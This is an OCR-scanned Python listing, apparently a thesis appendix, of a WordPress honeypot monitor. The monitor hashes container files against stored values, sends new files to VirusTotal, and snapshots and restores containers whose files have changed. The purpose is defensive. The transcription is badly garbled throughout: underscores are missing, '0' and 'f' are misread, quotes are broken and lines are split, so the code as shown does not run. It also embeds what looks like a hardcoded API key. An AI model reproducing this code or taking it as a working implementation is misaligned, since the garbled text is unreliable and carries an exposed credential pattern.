self.db_changes_list.append("New table: {}".format (table))
self.db changes found = True
except Exception as e:
print ("Caught exception: {}".format(e), file=sys.stderr)
return self.db changes found, self.db changes list

def check new file(self, file path):
if self.analysis enabled:
client =
vt.Client ("4dadl3bc57¢c23428a748346edf28c8b46c67452fc58f52bcf8e17555a1705752",

with open(file path, "rb") as f:
analysis = client.scan file(f, wait for completion=True)
stats = analysis.to dict() ['attributes']['stats']
client.close()
if stats['malicious'] > 0:

timeout=10)

print ("File {} malicious".format (file path), file=sys.stderr)

if stats|['suspicious'] > O:

print ("File {} suspicious".format (file path), file=sys.stderr)
self.wp files analysis.append("{} - {}".format (file path, stats))

def check folder (self, folder name):
if folder name in self.ff map.keys():
childs = self.ff map[folder name]
for children in childs:
if folder name.endswith("/"):
f path = folder name + children
else:
f path = folder name + "/" + children

# Check 1if it's folder or file. Folder need to check compressed data

if os.path.isdir (f path):

# Need to check compressed. If it's changed - recursive check folder

folder compressed path = self.compressed folders[f path]

h value = ubelt.hash file(folder compressed path, hasher='xx64")

f value = str(f path) [len(self.files dir prefix):]

k = ('hashes', self.folders set, str(f value))
folder changed = False
try:

# Read a record

75



(key, metadata, record) = self.as client.get (k)
if record['value'] != h value:
folder changed = True
print ("Modified folder: {}. "
"Expected hash value: {}. "
"Actual hash wvalue: {}"
.format (str (f path),
str (record['value']),
str(h value)), file=sys.stderr)
self.wp changes list.append("Modified folder: {}. "
"Expected hash value: {}.
"Actual hash value: {}"
.format (str (f path),
str (record['value']),
str(h value)))

self.wp changes found = True

except Exception:
folder changed = True
print ("New folder {} detected".format (f path), file=sys.stderr)
self.wp changes list.append("New folder: {}".format (str(f path)))
self.wp changes found = True

if folder changed:
self.check folder (f path)
else:
h value = ubelt.hash file(f path, hasher="'xx64")
file = str(f path) [len(self.files dir prefix):]

k = ('hashes', self.files set, str(file))

try:
# Read a record
(key, metadata, record) = self.as client.get (k)
if record['value'] != h value:

print ("Modified file: {}. "
"Expected hash value: {}."
"Actual hash value: {}"
.format (str (f path),
str (record['value'l]),
str(h _value)), file=sys.stderr)
self.wp changes list.append("Modified file: {}. "
"Expected hash value: {}."
"Actual hash value: {}"
.format (str (f path),
str (record['value'l]),
str (h _value)))
self.wp changes found = True
except Exception:
print ("New file {} detected".format (f path), file=sys.stderr)
self.wp changes list.append("New file: {}".format (str(f path)))
self.wp changes found = True
self.check new file(f path)
else:
print ("Folder {} empty".format (folder name), file=sys.stderr)

def create folders map(self):
for root, dirs, files in os.walk(self.files dir prefix):
for d in dirs:

if self.folders map.keys(). contains (root):
self.folders map.get (root) .add(d)

else:
self.folders map[root] = set()

self.folders map.get (root) .add(d)
os.path.join(root, d)

def create files map (self) :
for root, dirs, files in os.walk(self.files dir prefix):
for £ in files:

if self.files map.keys(). contains (root):
self.files map.get (root) .add (f)

else:
self.files map[root] = set()
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self.files map.get (root) .add(f)
os.path.join(root, f£)

def merge maps (self):
for key, value in self.folders map.items() :
if self.ff map.keys (). contains (key):
if len(value) > 0O:
for v in value:
self.ff map.get (key) .add(v)
else:
self.ff map[key] = set()
if len(value) > O:
for v in value:
self.ff map.get (key) .add(v)

for key, value in self.files map.items():
if self.ff map.keys (). contains (key):
if len(value) > O:
for v in value:
self.ff map.get (key) .add(v)
else:
self.ff map[key] = set()
if len(value) > 0O:
for v in value:
self.ff map.get (key) .add(v)

def compress folders(self):
# Create temp dir for compressed data.
os.makedirs (self.compressed dir, exist ok=True)
# Compress each of folder and create hashes. While compressing ignore metadata
and sort
for parent, childrens in self.folders map.items () :
# Compress parent folder and compress all childrens

if len(parent.replace(self.files dir prefix, "")) > 0:
pkg name = self.compressed dir + "/" +
parent.replace(self.files dir prefix, "").replace("/",
")y 4+ ".tar"
self.compressed folders[parent] = pkg name
os.system("tar -cf {} --mtime='UTC 2021-12-01"'" --sort=name --group=root:0
--owner=root:0 --same-owner --numeric-owner --no-selinux --ignore-zeros --same-

permissions "
"-C {} . >/dev/null 2>&l".format (pkg name, parent))
for child in childrens:
if parent.endswith("/"):
full path = parent + child
else:
full path = parent + "/" + child
pkg name = self.compressed dir + "/" + full path \

.replace(self.files dir prefix, "") \
.replace("/", " ") + ".tar"
self.compressed folders[full path] = pkg name
os.system("tar -cf {} --mtime='UTC 2021-12-01"'" --sort=name --group=root:0
--owner=root:0 --same-owner --numeric-owner --no-selinux --ignore-zeros --same-

permissions "
"-C {} . >/dev/null 2>&l1".format (pkg name, full path))

def find root folders(self):
for parent, childrens in self.folders map.items() :
if len(parent.replace(self.files dir prefix, "")) ==
for child in childrens:
mod folder name = child.replace(self.files dir prefix, "")
if mod folder name.count("/") == 0:
self.root folders.append(parent + child)

def find root files(self):
for files dir in self.files map.keys():
if len(files dir.replace(self.files dir prefix, "")) == 0:
files = self.files map[files dir]
for file in files:
self.root files.append(self.files dir prefix + file)
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def check files tree hashes(self):
self.create folders map ()
self.create files map ()
self.merge maps ()
self.compress folders ()
self.find root folders()
self.find root files()

# Check root folders hashes. If root folders hashes same - nothing changed. Files
(which are not 1in root dirs)

# should be checked.

folders changed = []

for root folder in self.root folders:

root compressed path = self.compressed folders[root folder]
hash value = ubelt.hash file(root compressed path, hasher='xx64")
folder = str(root folder) [len(self.files dir prefix):]
key = ('hashes', self.folders set, str(folder))
try:
# Read a record
(key, metadata, record) = self.as client.get (key)
if record['value'] != hash value:

self.wp changes list.append("Modified root folder: {}. "
"Expected hash value: {}. "
"Actual hash value: {}"
.format (str (root folder),
str (record['value']),
str (hash value)))
print ("Modified root folder: {}. "
"Expected hash value: {}. "
"Actual hash value: {}"
.format (str (root folder),
str (record['value']),
str (hash value)), file=sys.stderr)
folders changed.append(root folder)
self.wp changes found = True
except Exception:
self.wp changes list.append("New root folder {}
detected".format (str (root folder)))
print ("New root folder {} detected".format (root folder), file=sys.stderr)
folders changed.append(root folder)
self.wp changes found = True

# Always check files which are not in root folders. We call them root files
for root file in self.root files:

hash value = ubelt.hash file(root file, hasher='xx64")

file = str(root file) [len(self.files dir prefix):]

key = ('hashes', self.files set, str(file))

try:
# Read a record
(key, metadata, record) = self.as client.get (key)
if record['value'] != hash value:

print ("Modified root file: {}. "
"Expected hash value: {}. "
"Actual hash value: {}"
.format (str (file),
str (record['value']),
str (hash value)), file=sys.stderr)
self.wp changes list.append("Modified root file: {}. "
"Expected hash value: {}. "
"Actual hash value: {}"
.format (str (file),
str (record['value'l]),
str (hash value)))
self.wp changes found = True
except Exception:
print ("New file {} detected".format(file), file=sys.stderr)
self.wp changes list.append("New file: {}".format (str(file)))
self.wp changes found = True
self.check new file(file)
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# If folders changed list not empty - iterate and check children folders (and

files)
if len(folders changed) > O:
for folder in folders changed:
self.check folder(folder)
return self.wp changes found, self.wp changes list, self.wp files analysis
if name == "' main ':

execution times = []
# Configuration

configurations = {
'publ': {'wp container name': 'wp publ', 'db container name': 'db publ',
'db host': '127.0.0.1:8306",
'dir': '/opt/magistras/publ'},
'pub2': {'wp container name': 'wp pub2', 'db container name': 'db pub2',
'db host': '127.0.0.1:9306",
'dir': '/opt/magistras/pub2'}}

for instance, params in configurations.items() :
try:
start = time.time ()
print ("Time: {} Checking {} instance".format (datetime.now () .time(),
instance))

if os.system('docker ps | grep {}'.format (params['wp container name'])) ==
256: # Container not active
print ("Instance {} not active. Skipping..".format (instance))
pass
else:
print ("Checking hashes for {} instance".format (instance))
os.system("mkdir {}".format (params['wp container name']))

os.system("docker cp {}:/var/www/html
./{}/wordpress".format(params['wp_container_name'],

params['wp container name']))

hc = HashChecker (params['db host'], "wp folders", "wp files",
"{}/wordpress/".format(params['wp_container_name']),
"./compressed")
wp changed, wp files changed, wp files analysis =
hc.check files tree hashes()
db changed, db files changed = hc.check db hashes()
del hc

if wp changed or db changed:
print ("Instance {} modified. Files changed: {}. DB changed:
{}".format (instance,

wp changed,

db changed))
current timestamp = datetime.now().strftime('SsY %m %d-%H %M %S')
# Create docker images for later research from existing containers
os.system('docker commit ({}
{}:{}".format (params['wp container name'], params['wp container name'],
current timestamp))
os.system('docker commit {}
{}:{}".format (params['db container name'], params['db container name'],
current timestamp))
# Save newly created Docker images to directory
os.system('mkdir /opt/magistras/alerts/{}'.format (current timestamp))
os.system('mkdir
/opt/magistras/alerts/{}/{}'.format (current timestamp, instance))

os.system(
'docker save {}:{} >

/opt/magistras/alerts/{}/{}/{}.tgz"'.format (params['wp container name'],

current timestamp,
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current timestamp, instance,

params['wp container name']))
os.system(
'docker save {}:{} >
/opt/magistras/alerts/{}/{}/{}.tgz"'.format (params['db container name'],

current timestamp,
current timestamp, instance,

params['db container name']))
# Remove Docker images from local repo
os.system('docker image remove
{}:{}'.format (params['wp container name'], current timestamp))
os.system('docker image remove
{}:{}'.format (params['db container name'], current timestamp))
# Write changes list to file
with
open ("/opt/magistras/alerts/{}/{}/{}.log".format (current timestamp, instance,

params['db container name']),
'w') as changes file:
for db file change in db files changed:
changes file.write(db file change + "\n")
with B B B
open ("/opt/magistras/alerts/{}/{}/{}.log".format (current timestamp, instance,

params['wp container name']),
'w') as changes file:
for wp file change in wp files changed:
changes file.write(wp file change + "\n")

with open("/opt/magistras/alerts/{}/{}/{}-file-
analysis.log".format (current timestamp, instance,

params['wp container name']),
'w') as analysis file:
for wp file analysis in wp_files analysis:
analysis file.write(wp file analysis + "\n")

# Restore containers to initial state

# Stop container

os.system('cd {} && ./stop.sh'.format (params['dir']))

# Copy network trace files

os.system('cd {} && cp -r ./network-analysis
/opt/magistras/alerts/{}/{}/network-analysis'.format (params['dir'], current timestamp,
instance))

# Delete old network trace files

os.system('cd {} && rm ./network-analysis/*'.format (params['dir']))

# Start container

os.system('cd {} && ./start.sh'.format (params['dir']))

print ("Restore successful for instance {}. Compromised containers
saved in "
"/opt/magistras/alerts/{}/{}/".format (instance,
current timestamp, instance))
else:
print ("Instance {} not modified.".format (instance))
# Delete temporary files
os.system("rm -r {}".format (params['wp container name']))
print ("Time: {} checking complete.".format (datetime.now().time()))
end = time.time ()
execution times.append(end - start)
except Exception as ex:
print ("Main caught exception: {}".format (ex))
# Delete temporary files
os.system("rm -r {}".format (params['wp container name']))
print (f"Execution times: {execution times}")
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